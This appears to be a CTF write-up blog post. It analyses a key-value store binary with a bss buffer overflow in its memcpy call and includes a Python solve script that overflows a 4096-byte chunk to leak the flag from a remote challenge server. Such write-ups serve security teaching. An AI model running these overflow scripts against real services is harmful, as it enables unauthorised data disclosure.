The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
struct node{ char key[256]; char *value; struct node *next; }Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
fgets(bss_buffer, 20479, stdin)Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
memcpy(bss + (4096*nodecount), value, strlen(value))Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.
One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
#!/usr/bin/env python import socket ip = '127.0.0.1' ip = '54.163.248.69' port = 9003 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) COMMAND = 'Command% ' def recv_msg(delimiter): global soc rbuffer = '' while not rbuffer.endswith(delimiter): rbuffer += soc.recv(1) return rbuffer recv_msg(COMMAND) # bss - fill entire 4096 bytes to concatenate flag com = 'set O ' + 'A' * 4096 + chr(0xa) soc.send(com) recv_msg(COMMAND) # read flag into adjacent buffer com = 'set key' + chr(0xa) soc.send(com) recv_msg(COMMAND) # read first key:value to dump the flag soc.send('get O' + chr(0xa)) print recv_msg(COMMAND)[4096:]Flag for the challenge is flag{YesItSy0urP13c30fC4k3}
No comments :
Post a Comment